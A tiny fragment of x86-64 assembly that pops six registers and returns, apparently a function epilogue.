pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret